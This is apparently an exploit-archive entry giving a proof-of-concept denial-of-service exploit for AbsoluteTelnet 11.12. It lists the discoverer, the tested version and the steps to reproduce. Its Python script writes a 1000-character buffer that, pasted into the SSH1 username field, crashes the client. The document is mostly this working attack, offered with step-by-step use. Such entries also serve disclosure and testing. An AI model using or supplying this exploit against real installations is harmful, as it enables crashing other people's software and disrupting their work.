AbsoluteTelnet 11.12 – ‘SSH1/username’ Denial of Service (PoC)
# Exploit Title: AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-05-02 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe # Tested Version: 11.12 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to produce the crash: # 1.- Run python code: AbsoluteTelnet 11.12_username_ssh1.py # 2.- Open absolutetelnet_username_SSH1.txt and copy content to clipboard # 3.- Open AbsoluteTelnet # 4.- Select "new connection file", "Connection", "SSH1", "Use last username" # 5.- In "username" field paste Clipboard # 6.- Select "OK" # 7.- Crashed buffer = "\x41" * 1000 f = open ("absolutetelnet_username_SSH1.txt", "w") f.write(buffer) f.close() |